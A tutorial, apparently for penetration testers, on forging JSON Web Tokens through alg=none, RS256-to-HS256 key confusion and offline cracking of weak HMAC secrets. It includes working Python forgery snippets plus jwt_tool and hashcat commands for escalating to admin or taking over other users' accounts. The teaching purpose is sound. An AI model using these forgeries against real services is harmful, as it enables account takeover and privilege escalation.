JWT Attacks: alg=none, Key Confusion, and Weak Secrets
JSON Web Tokens fail open in spectacular ways when verification is sloppy. We cover algorithm confusion, the none attack, and crackable HMAC secrets.
A JSON Web Token is only as trustworthy as the code that verifies its signature, and that code fails open in a few well-known ways. Find a verifier that trusts the token's own alg header and you can mint a token for any user, including admin. This is the discovery and PoC playbook.
Finding it
Grab a valid token (login, then read it from the Authorization header, a cookie, or local storage) and decode the three base64url segments. The header tells you the algorithm; the payload tells you which claim drives authorization:
header: {"alg":"HS256","typ":"JWT"}
payload: {"sub":"123","role":"user"}
Now probe the verifier's assumptions. The tells you are looking for:
- Does it accept
alg: none? (skips signature checking entirely) - Does it verify RS256 tokens but reuse the same key call for HS256? (algorithm confusion)
- Is the HS256 secret short or a dictionary word? (offline cracking)
- Does it ignore
exp, or accept a token after a role downgrade? (stale claims)
Burp's JWT Editor extension and jwt_tool automate all of these checks against a captured token. A fast first pass is to run every mode at once and read the verdicts:
jwt_tool eyJ...captured... -M at # tampering + all known attack checks
Proof of concept
alg=none
Rewrite the payload to escalate, set the algorithm to none, and drop the signature:
import base64, json
def b64(d): return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=")
header = b64({"alg": "none", "typ": "JWT"})
payload = b64({"sub": "123", "role": "admin"})
forged = header + b"." + payload + b"." # note the trailing dot, empty sig
print(forged.decode())
Send it and watch for an admin-only resource to return 200. Try the case variants None, NONE, nOnE too — some libraries only blocklist the lowercase spelling.
Algorithm confusion (RS256 -> HS256)
If the service verifies with a public RSA key, fetch that key (often at /jwks.json or /.well-known/), then sign a forged token with HS256 using the public key bytes as the HMAC secret. A verifier that calls a generic verify(token, key) treats the public key as an HMAC key and your signature checks out:
jwt_tool eyJ...token... -X k -pk public.pem
# -X k performs the RS256->HS256 key-confusion attack and prints a forged token
Weak HMAC secret
For HS256 the whole scheme rests on the shared secret. Crack it offline from a single captured token:
hashcat -a 0 -m 16500 captured.jwt /usr/share/wordlists/rockyou.txt
Once hashcat prints the secret, forge anything. Re-sign a token with role: admin and sub set to a known admin id:
import jwt # PyJWT
secret = "s3cr3t" # recovered by hashcat
tok = jwt.encode({"sub": "1", "role": "admin"}, secret, algorithm="HS256")
print(tok)
Confirming impact
The clean proof is a privilege jump. Before forging, request an admin endpoint with your normal token and capture the 403. Then replay with the forged token and capture the 200 — same request, different token, different outcome. That before/after pair is the entire finding.
Useful escalations to demonstrate value:
- Swap
sub/user_idto a victim's id and read their data (horizontal takeover). - Flip
role/is_admin/scopeand reach administrative functions (vertical). - Show the forged token has no server-side revocation — nothing in the logs distinguishes it from a real one, and it stays valid until
exp.
Capture the decoded forged header/payload and the privileged response. One forged admin token plus the matching denied-then-allowed requests proves it conclusively. Test only tokens issued to you on authorized targets.